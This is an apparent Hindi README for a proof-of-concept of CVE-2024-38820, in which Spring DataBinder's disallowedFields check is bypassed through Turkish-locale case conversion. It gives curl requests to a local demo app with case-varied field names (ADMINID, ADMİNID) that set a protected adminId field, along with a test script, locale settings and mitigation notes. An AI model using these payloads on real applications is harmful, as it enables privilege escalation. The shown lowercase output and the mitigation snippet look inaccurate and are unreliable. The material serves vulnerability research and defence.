
CVE-2024-38820 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण, जो Spring Framework DataBinder के disallowedFields सुरक्षा के स्थानीय-निर्भर केस रूपांतरण बाईपास का प्रदर्शन करता है, स्वचालित परीक्षण और शमन मार्गदर्शन के साथ।
यह प्रोजेक्ट CVE-2024-38820 को प्रदर्शित करता है, जो Spring Framework के DataBinder में एक कमजोरी है जो locale-निर्भर केस रूपांतरण समस्याओं के कारण disallowedFields सुरक्षा को बायपास करने की अनुमति देती है।
String.toLowerCase() का व्यवहार locale के अनुसार बदलता हैCVE-2022-22968 के लिए सुधार ने String.toLowerCase() का उपयोग करके disallowedFields पैटर्न को केस-असंवेदनशील बना दिया। हालांकि, इस विधि में locale-निर्भर अपवाद हैं:
"ADMINID".toLowerCase()"adminıd""ADMINID".toLowerCase() "adminid" बन जाता हैयह अंतर हमलावरों को विशिष्ट केस विविधताओं का उपयोग करके फ़ील्ड सुरक्षा को बायपास करने की अनुमति दे सकता है।
src/
├── main/java/com/example/demo/
│ ├── DemoApplication.java # Spring Boot main class
│ ├── controller/UserController.java # Vulnerable controller with @InitBinder
│ └── model/UserInfo.java # Model with protected adminId field
└── resources/application.properties # Locale configuration
test-cve-2024-38820.sh # Automated test script
pom.xml # Maven dependencies (Spring 5.3.39 - vulnerable)
# Build the project
mvn clean compile
# Run the application
mvn spring-boot:run
एप्लिकेशन http://localhost:8081 पर शुरू होगा
locale जानकारी देखने के लिए परीक्षण एंडपॉइंट पर जाएँ:
http://localhost:8081/test
अलग-अलग फ़ील्ड नाम विविधताएँ आज़माएँ:
# Normal case (should be blocked)
curl "http://localhost:8081/user?username=test&adminId=999"
# Uppercase (may bypass)
curl "http://localhost:8081/user?username=test&ADMINID=999"
# Mixed case (may bypass)
curl "http://localhost:8081/user?username=test&AdminId=999"
# Turkish İ character (may bypass)
curl "http://localhost:8081/user?username=test&ADMİNID=999"
व्यापक परीक्षण स्क्रिप्ट चलाएँ:
./test-cve-2024-38820.sh
adminId=999 → अवरुद्ध (सामान्य केस)ADMINID=999 → बायपास (अपरकेस)AdminId=999 → बायपास (मिश्रित केस)ADMİNID=999 → बायपास (तुर्की İ)adminId=999 → अवरुद्ध (सामान्य केस)ADMINID=999 → अवरुद्ध (सुरक्षित)AdminId=999 → अवरुद्ध (सुरक्षित)src/main/resources/application.properties संपादित करें:
# Turkish locale (vulnerable)
spring.web.locale=tr_TR
server.servlet.locale=tr_TR
# English locale (protected)
# spring.web.locale=en_US
# server.servlet.locale=en_US
आप JVM डिफ़ॉल्ट locale भी सेट कर सकते हैं:
mvn spring-boot:run -Duser.language=tr -Duser.country=TR
@InitBinder disallowedFields("adminId") कॉन्फ़िगर करता हैtoLowerCase() के साथ केस-असंवेदनशील मिलान का उपयोग करता है"ADMINID".toLowerCase() ≠ "adminid"adminId सेट हो जाता हैएप्लिकेशन विस्तृत जानकारी लॉग करता है:
=== CVE-2024-38820 PoC - Locale Information ===
JVM Default Locale: tr_TR
Test field 'ADMINID' toLowerCase(): 'adminıd'
Test field 'ADMINID' toLowerCase(Locale.ENGLISH): 'adminid'
DataBinder configured with disallowed field: 'adminId'
Locale-जागरूक फ़ील्ड मिलान का उपयोग करें:
@InitBinder
public void initBinder(WebDataBinder dataBinder) {
// Use English locale explicitly
dataBinder.setDisallowedFields("adminId");
// Additional protection: check field names with specific locale
}
कस्टम फ़ील्ड सत्यापन लागू करें जो locale-निर्भर संचालन पर निर्भर न करे।
यह प्रूफ ऑफ कॉन्सेप्ट केवल शैक्षिक और सुरक्षा अनुसंधान उद्देश्यों के लिए है। जिम्मेदारी से उपयोग करें और केवल उन सिस्टमों पर जिनके आप मालिक हैं या जिनके परीक्षण की स्पष्ट अनुमति है।